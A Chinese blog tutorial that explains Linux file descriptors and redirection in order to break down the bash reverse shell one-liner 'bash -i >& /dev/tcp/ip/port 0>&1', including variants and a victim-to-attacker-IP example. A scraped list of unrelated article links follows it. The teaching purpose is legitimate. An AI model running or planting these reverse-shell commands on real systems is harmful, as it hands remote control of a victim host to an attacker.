这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell

目录

0x01 文件描述符

0x02 重定向

0x03 反弹shell

0x04 交互重定向

0x05 命令变形

0x01 文件描述符

Linux的文件描述符有以下三种

标准输入:0

标准输出:1

错误输出:2

对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作

0x02 重定向

重定向主要分为以下两种

输入重定向

输出重定向 >、>>

通过下面的两张图就可以很明白的看出来他们的用途了

我们这里的输出重定向>,就相当于是1>,输入重定向

那如果要使用错误输出的话,就必须写成2>

我们也可以把错误的内容重定向到另一个文件中的

下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中

同样也可以将结果和错误输出一起输出到一个文件中去

在正常输入的命令结尾加上2>&1就可以实现了,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来

其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出

0x03 反弹shell

下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释

bash -i >& /dev/tcp/ip/port 0>&1

解释

bash -i

表示创建一个交互式的shell,可以在帮助文档中看到

/dev/tcp/ip/port

实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.1的3333端口

0>&1

将标准输入和标准输出重定向到指定的文件中

如果把这条命令改成2>&1可能会更容易理解一点

如果理解了上面这个的话,对于这个就很容易理解了

>&

将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机

理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情

0x04 交互重定向

理解了上面的内容之后,我们在一步步分解一下交互式shell

使用下面的语句可以将输出内容发送到攻击机上

但是这样会有一个问题,攻击者没有实现对此主机的完全控制,是不能在受害主机中运行命令的,此时我们还会想起来另一条命令,将它转换成标准输入

这样我们就实现了从攻击机输入命令进行控制,然后我们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell

在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路

但是这里面还是有一个问题的,可以看到我们输入的命令在受害主机上还是会显示出命令的,所以还是需要进行改进的

我们上面也说了如何将所有的正确和错误信息都重定向到一起,这里就可以使用这个方法来进行处理

可以看到所有产生的消息都在攻击机上显示出来了,这样就达到了我们最初的目的了

我们也可以使用与之等价的命令来进行操作,也就是我们最前面所写出来的那一条命令

0x05 命令变形

如果我们把 0>&1 改成 0

可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的

同样的,我们将 0>&1 变为 0>&2 是一样的效果

至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。

解释linux中的三种重定向,Linux重定向及反弹shell详解相关推荐

  1. java 三种将list转换为map的方法详解

    这篇文章主要介绍了java 三种将list转换为map的方法详解的相关资料,需要的朋友可以参考下 java 三种将list转换为map的方法详解 在本文中,介绍三种将list转换为map的方法: 1) ...

  2. Python常见面试题:TCP 协议中的三次握手与四次挥手相关概念详解

    今天来聊聊Python常见面试题中面试频率特别高的一个题目:TCP 协议中的三次握手与四次挥手. 涉及到的知识点有: 1.TCP.UDP 协议的区别 2.TCP 头部结构 3.三次握手与四次挥手过程详 ...

  3. 软硬链接、文件删除原理、linux中的三种时间、chkconfig优化

    第1章 软硬链接 1.1 硬链接 1.1.1 含义 多个文件拥有相同的inode号码 硬链接即文件的多个入口 1.1.2 作用 防止你误删除文件 1.1.3 如何创建硬链接 ln 命令,前面是源文件  ...

  4. linux切换用户无法加载变量,Linux 中用户切换:su 和 su- 的使用 环境变量详解

    大部分Linux发行版的默认帐户是普通用户,而更改系统文件或者执行某些命令,须要root身份才能进行,这就须要从当前用户切换到root用户,Linux中切换用户的命令是su或su -,下面就su命令和 ...

  5. 删除oracle数据库的三种方法,oracle数据库的删除方法详解

    oracle数据库的删除方法详解 1.图形界面删除 练习之前记得创建快照 执行命令之前要保证数据库属于open状态 SQL> alter database open; [oracle@local ...

  6. python字符串连接的三种方法及其效率、适用场景详解

    python字符串连接的方法,一般有以下三种:方法1:直接通过加号(+)操作符连接website=& 39;python& 39;+& 39;tab& 39;+& ...

  7. Linux中通过mkdir –p 能够创建多级目录(mkdir -p详解)

    <!--一个博主专栏付费入口结束--><link rel="stylesheet" href="https://csdnimg.cn/release/p ...

  8. linux中以A开头的函数使用方式历程及详解

    A开头的Linux C函数 abort 异常终止程序 abort函数在调用的时候,会触发SIGABRT信号 #include <stdlib.h> #include <signal. ...

  9. linux中quota信息查看,quota命令_Linux quota命令使用详解:显示磁盘已使用的空间与限制...

    quota命令用于显示用户或者工作组的磁盘配额信息.输出信息包括磁盘使用和配额限制. 语法 quota(选项)(参数) 选项 -g:列出群组的磁盘空间限制: -q:简明列表,只列出超过限制的部分: - ...

最新文章

  1. Squid正向代理矩阵
  2. wxWidgets:wxSplitterWindow概述
  3. java线程----生产者和消费者问题
  4. Oracle性能调优之--Buffer cache 的调整与优化
  5. php怎么查询数据库,php怎么查询数据库
  6. (40)VHDL实现移位寄存器(方法2)
  7. C++_类和对象_对象特性_构造函数的分类以及调用---C++语言工作笔记041
  8. python post 请求登录后的页面_python - 学习模拟登录,卡在发送POST请求之后?
  9. 如何在Mac OS上从Photoshop作为插件访问Topaz Mask AI
  10. matlab里wblrnd函数,matlab随机函数
  11. RTMP直播推流Video(视频)
  12. 淘宝无线端一键直达微博自助生成工具
  13. 如何让win7像win10一样漂亮-win7美化
  14. 快速查找某个范围内的所有素数
  15. [NOIP2017普及组] 棋盘
  16. 使用Java处理键盘输入(DTMF)
  17. linux查看lv逻辑卷信息,Linux学习笔记(lvm pv物理卷—VG卷组—LV逻辑卷)
  18. highchart 组织结构图
  19. android app性能优化大汇总(UI渲染性能优化)
  20. C++中的FILL和MEMSET(zzl) 的区分

热门文章

  1. 为什么妈妈带娃容易崩溃,托班老师带那么多娃却不会?
  2. sonarlint 链接server
  3. 用html语句超链接锚点使用,HTML 锚点超链接
  4. 共享计算机添加不上去,电脑连不上共享打印怎么解决
  5. Nginx静态资源部署
  6. 操作系统-内存管理-虚拟内存管理
  7. Makefile 编译与链接选项及CFLAGS与LDFLAGS示例说明
  8. linux 编译 cflags,如何设置CFLAGS和LDFLAGS来编译pycryp
  9. 【数组】旋转数组(两种方法)
  10. 在 Ubuntu 18.04 构建 Intelligent Input Bus (IBus)